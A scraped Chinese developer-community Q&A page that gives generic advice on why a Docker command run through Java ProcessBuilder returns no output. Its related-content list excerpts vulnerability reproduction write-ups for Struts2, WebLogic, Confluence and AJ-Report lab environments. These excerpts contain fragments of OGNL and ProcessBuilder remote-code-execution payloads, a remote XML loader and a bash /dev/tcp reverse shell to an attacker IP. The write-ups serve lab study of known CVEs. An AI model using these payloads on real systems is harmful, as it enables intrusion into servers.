开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

运行ProcessBuilder -compose up with ProcessBuilder成功，但docker未返回结果

。

首先，ProcessBuilder是Java中用于创建和管理外部进程的类。它可以用于执行命令行命令，并与这些命令进行交互。在这种情况下，你使用ProcessBuilder来运行docker命令。

当你使用ProcessBuilder成功运行docker命令时，但docker未返回结果，可能有以下几个原因：

命令执行时间过长：有些docker命令可能需要较长的时间才能完成，特别是在处理大型镜像或容器时。你可以尝试增加等待时间，以确保命令有足够的时间来完成。
命令执行出错：docker命令可能会因为各种原因执行出错，例如无效的参数、权限问题或者资源不足等。你可以通过检查ProcessBuilder返回的错误流来查看是否有任何错误消息。如果有错误消息，你可以根据错误消息来调试和解决问题。
系统资源限制：如果你的系统资源（如内存、CPU等）不足，可能会导致docker命令无法正常执行。你可以尝试增加系统资源，或者优化你的docker命令以减少资源消耗。
docker配置问题：docker的配置可能会影响其正常运行。你可以检查docker的配置文件，确保其配置正确，并且与你的系统环境兼容。

总结起来，当你使用ProcessBuilder成功运行docker命令但未返回结果时，你可以通过增加等待时间、检查错误消息、优化系统资源和检查docker配置等方法来解决问题。

腾讯云相关产品和产品介绍链接地址：

腾讯云容器服务（Tencent Kubernetes Engine，TKE）：提供高度可扩展的容器化应用管理平台，支持快速部署、自动伸缩和高可用性。了解更多信息，请访问：https://cloud.tencent.com/product/tke
腾讯云云服务器（CVM）：提供可扩展的云服务器实例，用于运行各种应用程序和服务。了解更多信息，请访问：https://cloud.tencent.com/product/cvm
腾讯云对象存储（Cloud Object Storage，COS）：提供安全、可靠、低成本的对象存储服务，适用于存储和处理各种类型的数据。了解更多信息，请访问：https://cloud.tencent.com/product/cos

页面内容是否对你有帮助？

有帮助

没帮助

相关·内容

weblogic漏洞复现

简介：利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件漏洞环境https://github.com/vulhub/vulhub启动环境docker-compose.../vulhub/vulhub启动环境docker-compose up -d启动如下漏洞复现此漏洞复现需要下载ysoserial和exploit.py脚本，我们使用ysoserial开启JRMP服务java...python2环境下使用，应为python3编码与python2不同，导致出现问题复制下图，握手成功表示脚本成功运行如下图，进入docker可查看成功创建目录最后我想试着能不能反弹shell能不能成功，...漏洞环境https://github.com/vulhub/vulhub启动环境docker-compose up -d启动如下漏洞复现输入此命令即可查看weblogic用户密码，密码随机，请自行docker...漏洞环境https://github.com/vulhub/vulhub启动环境docker-compose up -d启动如下漏洞复现通过该/console/css/%252e%252e%252fconsole.portal

1791 0

CVE-2017-9805 S2-052远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-052 docker-compose up -d访问http://192.168.146.158...filter> foo 发现有数据，说明该漏洞成功执行了curl http://fjw7qo.dnslog.cn...filter> foo 攻击机进行监听，然后发现成功反弹了shell。

5203 0

CVE-2024-21683：Confluence远程代码执行漏洞

/CVE-2023-22527 可以顺便修改docker-compose.yml文件，把容器5005端口映射到本地的5005端口方便后面调试 docker-compose up -d 启动环境即可访问...代码文件exp.js内容为下面的代码： new java.lang.ProcessBuilder["(java.lang.String[])"](["touch", "/tmp/CVE-2024-21683...，成功创建了文件 0x06 漏洞分析我们通过远程调试，具体看一下。...容器，才能生效然后配置IDEA中的JVM远程调试，配置IP和端口启动调试，提示如下说明远程调试连接成功漏洞点对应功能点在 .....null，成功则调用exec方法执行并将结果返回修复方式目前官方已发布安全更新，受影响用户可以更新到最新版本： https://www.atlassian.com/software/confluence

2981 0

CVE-2017-9805 S2-052远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-052 docker-compose up -d访问http://192.168.146.158...filter> foo 发现有数据，说明该漏洞成功执行了curl http://fjw7qo.dnslog.cn...filter> foo 攻击机进行监听，然后发现成功反弹了shell。

4611 0

CVE-2017-5638 S2-046 远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-046 docker-compose up -d访问http://192.168.146.158...(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())....(#ros.flush())}访问url发现成功执行了echo has vul代码，说明存在该漏洞。既然发现漏洞了，那我们可以构造一个payload，执行id命令。...(#ros.flush())}成功执行了id命令。...(#ros.flush())}攻击机进行监听，然后发现成功反弹了shell。4 修复建议1、推荐的解决方案：升级至比受漏洞影响的更高版本。

9172 0

CVE-2013-1965 S2-012 远程代码执行漏洞

当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时，将进行第二次评估。...这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中，并将其评估为 OGNL 表达式，以启用方法执行并执行任意方法，从而绕过 Struts 和 OGNL 库保护。...2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-012 docker-compose up -d访问http://192.168.146.158...),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}发现成功执行了...f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}攻击机进行监听，然后发现成功反弹了

8772 0

WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现

由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP 请求，获得目标服务器的权限，在未授权的情况下远程执行命令。...影响范围 WebLogic 10.X、WebLogic 12.1.3 环境搭建使用vul的镜像安装好docker 和docker-compose之后直接在本地生成一个文件：内容如下： version...: '2' services: weblogic: image: vulhub/weblogic ports: - "7001:7001" 然后运行如命令： docker-compose...up -d 等待一段时间，访问http://your-ip:7001/即可看到一个404页面，说明weblogic已成功启动。... <void class="java.lang.<em>ProcessBuilder</em>

1.4K2 0

weblogic 权限绕过命令执行漏洞复现

使用这两个漏洞组成的利用链，可通过一个HTTP请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。...Weblogic : 14.1.1.0.0 0x02 漏洞环境执行如下命令启动一个Weblogic 12.2.1.3版本的服务器： cd vulhub/weblogic/CVE-2020-14882 sudo docker-compose...up -d 启动完成后，访问 http://your-ip:7001/console 即可查看到后台登录页面。...com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") 执行docker-compose...com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.31.66/rce.xml") 执行docker-compose

1.4K6 0

CVE-2017-5638 S2-045 远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-045 docker-compose up -d访问http://192.168.146.158...(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())....(#ros.flush())}访问url发现成功执行了echo has vul代码，说明存在该漏洞。既然发现漏洞了，那我们可以构造一个payload，执行id命令。...(#ros.flush())}成功执行了id命令。...(#ros.flush())}攻击机进行监听，然后发现成功反弹了shell。4 修复建议1、推荐的解决方案：升级至比受漏洞影响的更高版本。

7893 0

S2-001远程代码执行复现

例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行。...vulhub官网地址：https://vulhub.org cd vulhub/struts2/s2-001 docker-compose build docker-compose up -d 0x03...漏洞 python3 Struts2Scan.py -u http://172.17.0.1:8080/index.action 0x04 漏洞利用直接在输入框输入payload点击提交，页面会返回响应的执行结果...%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),

71510 0

叙利亚风格的在线编程系统

要求给出在linux物理机、虚拟机和docker下的对比测试结果。接到这个工作后，初步的计划是在windows上写程序，打个jar包，然后放在linux物理机、虚拟机和docker上分别测试。...其实，仔细想想很简单，Java代码得到结果不就是编译、运行两步么？简单设计下原型： ?...实现过程中基本没遇上什么难度，关键代码：第一步编译： ProcessBuilder pb = new ProcessBuilder(); //编译文件 pb.command("javac", "-encoding...())); Process execProcess = execPb.start(); compileProcess.waitFor(); //把结果返回给界面 return getResult(execProcess.getInputStream...运行结果： ? 构造出错场景 1.编译异常： ? 2、运行异常： ? 功能实现难度不大，但是过程还是挺有意思的，感兴趣的可以自行从github下载完整代码，如果你也觉得有点意思点赞、关注走一波。 ?

6782 0

S2-001 远程代码执行漏洞

环境搭建1.1 环境概述Linux操作系统1.2 搭建过程拉取镜像 cd vulhub/struts2/s2-001 docker-compose up -d访问http://192.168.146.158...(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c...),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}发现成功执行了...(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c...f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}攻击机进行监听，然后发现成功反弹了

3942 0

CVE-2010-1870 S2-005 远程代码执行漏洞

Struts2受影响版本2.0.0 <= Struts2 <= 2.1.8.12 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-005 docker-compose...up -d访问http://192.168.146.158:8105/example/HelloWorld.action3 漏洞复现构造一个恶意的payload并发送。...symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder...resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}发现成功执行了...8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter().close()}攻击机进行监听，然后发现成功反弹了

1.1K3 0

AJ-Report（CNVD-2024-15077）漏洞复现(超详细)

漏洞复现漏洞环境 vulhub 执行如下命令启动一个AJ-Report 1.4.0服务器： docker compose up -d 服务启动后，你可以在http://your-ip:9095查看到登录页面...,"mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder...= null){ss+=line};return ss;}"} 反弹shell成功，但没有回显执行反弹shell \"bash\",\"-c\",\"bash -i >& /dev/tcp/攻击机IP...dto.setValidationRules(param.getValidationRules()); // 调用 dataSetParamService 的 verification 方法进行验证，并将结果封装到...JavaScript 代码，如果传递给 eval 方法的脚本来自不受信任的来源，攻击者可以编写恶意脚本执行任意Java代码根据 exec 的类型，使用 ObjectMapper 将其转换成相应的 Java 类型，并返回结果

791 0

CVE-2017-12611 S2-053 远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-053 docker-compose up -d访问http://192.168.146.158...发现成功执行了删除has vul的语句，说明存在该漏洞。...(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())....(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}发现成功执行了id命令，发现是root权限。...(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}反弹成功4 修复建议1、推荐的解决方案：升级至比受漏洞影响的更高版本

6062 0

CVE-2017-12611 S2-053 远程代码执行漏洞

2 环境搭建2.1 环境概述Linux操作系统2.2 搭建过程拉取镜像 cd vulhub/struts2/s2-053 docker-compose up -d访问http://192.168.146.158...发现成功执行了删除has vul的语句，说明存在该漏洞。...(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())....(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}发现成功执行了id命令，发现是root权限。...(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}反弹成功4 修复建议1、推荐的解决方案：升级至比受漏洞影响的更高版本

4831 0

Struts2 S2-052 RCE简单测试

使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，可直接在数据包中插入恶意代码，导致服务器被攻陷。...下面我们进行简单的测试. 1.3 漏洞测试测试环境，我这里使用docker，在我的远程vps主机上先安装了docker，然后拉取测试镜像。...拉取成功之后，运行环境： docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052 ?...这是我们的测试代码，如果成功在tmp目录下创建xuanhuntest文件，即可证明该漏洞，可以被利用执行任意命令。下面发送模拟数据，然后到远程主机上,登录测试的docker实例，查看结果。 ?...从结果上看，我们可以执行任意命令，危害还是很大的。 1.4 msf利用下面是方块k 做的实验。

1.3K6 0

java 执行shell命令及日志收集避坑指南

() { ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("ipconfig...但总体来说的 ProcessBuilder 的可控性更强，所以一般使用这个会更自由些。　　...一般我们jvm作为一个独立进程运行，会被分配足够多的内存，以保证运行的顺畅与高效。这时，可能留给系统的空间就不会太多了，而此时再调用系统进程运行业务，则得提前预估下咯。　　　　4....它实际上并不能直接抛出异常，我们可以通过进程的返回码来判定是否发生了异常，这些错误码一般会遵循操作系统的错误定义规范，但时如果是我们自己写的shell或者其他同学写的shell就无法保证了。...GBK, linux为utf8 * @param logFilePath 日志输出文件路径, 为空则直接输出到当前应用日志中，否则写入该文件 * @return 进程退出码, 0: 成功

2.6K1 0

Java魔法堂：调用外部程序

功能就是和windows的“运行”一样。 ?...另外，缓冲池的容量是一定的，因此若外部程序在运行过程中不断向缓冲池输出内容，当缓冲池填满，那么外部程序将暂停运行直到缓冲池有空位可接收外部程序的输出内容为止。...// 如果超时前子进程结束，那么返回`true` ，否则返回`false` boolean waitFor(long timeout, TimeUnit unit) // 强行终止子进程，但调用后子进程不会马上被终止...boolean isAlive() // 获取子进程的异常输出流，如果子进程以`ProcessBuilder`创建，且通过`ProcessBuilder.redirectError`设置重定向，那么该方法返回...，如果子进程以`ProcessBuilder`创建，且通过`ProcessBuilder.redirectInput`设置重定向，那么该方法返回`null` OutputStream getOutputStream

1.6K1 0

Java学习笔记调用外部程序

有了ProcessBuilder仅仅是第一步，我们还没有实际执行程序。为了执行程序，我们需要调用它的start()方法，这会启动进程并返回一个Process对象。...我们可以调用Process的exitValue()方法获取进程是否成功返回（一般返回0为正常退出，记得C语言最后的return 0吗）。...那么获取结果就是不合法的操作。因此，为了安全的等待进程结束，我们需要调用waitFor()方法，阻塞当前线程，直到进程退出为止。所以最后的代码类似这样。在进程启动之后，我们需要阻塞，直到它结束。...然后获取返回值和输出结果。...这说明我们确实成功地执行了java -version命令。但是，如果你实际执行的话，会发现程序也仅仅输出了返回值。那么我们期望的实际输出去哪儿了？

1.8K7 0

点击加载更多

扫码

添加站长进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

活动推荐

运营活动

活动名称

广告关闭